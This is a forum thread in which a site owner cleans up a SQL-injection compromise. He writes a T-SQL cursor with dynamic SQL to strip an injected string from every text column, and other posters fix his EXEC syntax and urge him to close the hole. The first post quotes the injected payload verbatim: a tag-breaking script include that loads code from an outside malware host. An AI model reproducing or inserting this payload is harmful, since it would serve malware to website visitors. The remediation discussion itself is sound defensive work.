Please start any new threads on our new
site at https://forums.sqlteam.com. We've got lots of great SQL Server
experts to answer whatever question you can come up with.
| Author |
Topic |
|
iurisampaio
Starting Member
2 Posts |
Posted - 2012-09-09 : 13:15:45
|
| Hi there,My website got hacked and my database is totally messed up with malware links placed on all its coliumns through a SQL injection invasion.Surely and Fortunately, I figured out that the malicious as its length limited in 72 chars. Here it is:"></title><script src="http://eighbo02rsbarr.rr.nu/sl.php"></script><!-- In order to fix that without loosing anything of the current data, I decided to remove the suspicious string from "every" column of "every" table that is infected with the malware code. To accomplish that I wrote the following planGet all the tables of the database schema and all columns of each table as in:SELECT t.name AS table_name, SCHEMA_NAME(schema_id) AS schema_name, c.name AS column_nameFROM sys.tables AS tINNER JOIN sys.columns c ON t.OBJECT_ID = c.OBJECT_IDORDER BY schema_name, table_name;Then, to update the value of each column, by removing "only" the malicious code, through a loop statement or whatever else statement that would accomplish this task at once or step by step, using the query bellow ...UPDATE table_name SET column_name = RIGHT(column_name, LEN(column_name) – 72) WHERE column_name LIKE '%http://eighbo02rsbarr.rr.nu/sl.php';Am I in the correct path?How would I join these two steps (get all the tables and columns, update the new value) into a plain MS SQL Server script? |
|
|
visakh16
Very Important crosS Applying yaK Herder
52326 Posts |
Posted - 2012-09-09 : 13:26:45
|
| you would need a cursor logic to loop through results of first statement and then use dynamic sql to form update string each time and use exec(@sql) to execute sql string------------------------------------------------------------------------------------------------------SQL Server MVPhttp://visakhm.blogspot.com/ |
 |
|
|
Transact Charlie
Master Smack Fu Yak Hacker
3451 Posts |
Posted - 2012-09-09 : 18:57:31
|
did you eliminate your vulnerability?Now would be an *excellent* time to audit the code........How is access to the database secured? via roles?Transact CharlieMsg 3903.. The ROLLBACK TRANSACTION request has no corresponding BEGIN TRANSACTION. http://nosqlsolution.blogspot.co.uk/ |
 |
|
|
iurisampaio
Starting Member
2 Posts |
Posted - 2012-09-09 : 20:14:34
|
| I followed your tip and wrote the query bellow.However I am still getting an error of UPDATE [dbo].[ProductOption] SET [ProductOptionName] = RIGHT([ProductOptionName], LEN([ProductOptionName]) - 72) WHERE [ProductOptionName] LIKE '%http://eighbo02rsbarr.rr.nu/sl.php%'Msg 203, Level 16, State 2, Line 27The name 'UPDATE [dbo].[ProductOption] SET [ProductOptionName] = RIGHT([ProductOptionName], LEN([ProductOptionName]) - 72) WHERE [ProductOptionName] LIKE '%http://eighbo02rsbarr.rr.nu/sl.php%'' is not a valid identifier.Any ideas?DECLARE @sql VARCHAR(8000)DECLARE curUpdateQueries CURSOR FAST_FORWARD FORSELECT N'UPDATE ' + QUOTENAME(SCHEMA_NAME(t.schema_id)) + N'.' + QUOTENAME(t.name) + N' SET ' + QUOTENAME(c.name) + N' = RIGHT(' + QUOTENAME(c.name) + N', LEN(' + QUOTENAME(c.name) + ') - 72)' + N' WHERE ' + QUOTENAME(c.name) + N' LIKE ''%http://eighbo02rsbarr.rr.nu/sl.php%'''FROM sys.tables AS tJOIN sys.columns AS c ON t.object_id = c.object_idJOIN sys.types AS ty ON ty.system_type_id = c.system_type_id AND ty.user_type_id = c.user_type_idWHERE ty.name IN(N'varchar', N'char', N'nvarchar', N'nchar') AND OBJECTPROPERTY(t.object_id, 'IsMSShipped') = 0; OPEN CurUpdateQueriesFETCH NEXT FROM curUpdateQueries INTO @sqlWHILE @@FETCH_STATUS = 0BEGINPRINT @SQL-- If you want to executeEXEC @SQLFETCH NEXT FROM curUpdateQueries INTO @sqlENDCLOSE curUpdateQueriesDEALLOCATE curUpdateQueries |
 |
|
|
Transact Charlie
Master Smack Fu Yak Hacker
3451 Posts |
Posted - 2012-09-10 : 04:07:36
|
if you call dynamic sql with EXEC you have to wrap it in ( )Change -- If you want to executeEXEC @SQL ToEXEC (@SQL) Transact CharlieMsg 3903.. The ROLLBACK TRANSACTION request has no corresponding BEGIN TRANSACTION. http://nosqlsolution.blogspot.co.uk/ |
 |
|
|
madhivanan
Premature Yak Congratulator
22864 Posts |
|
|
|
|
|
|
|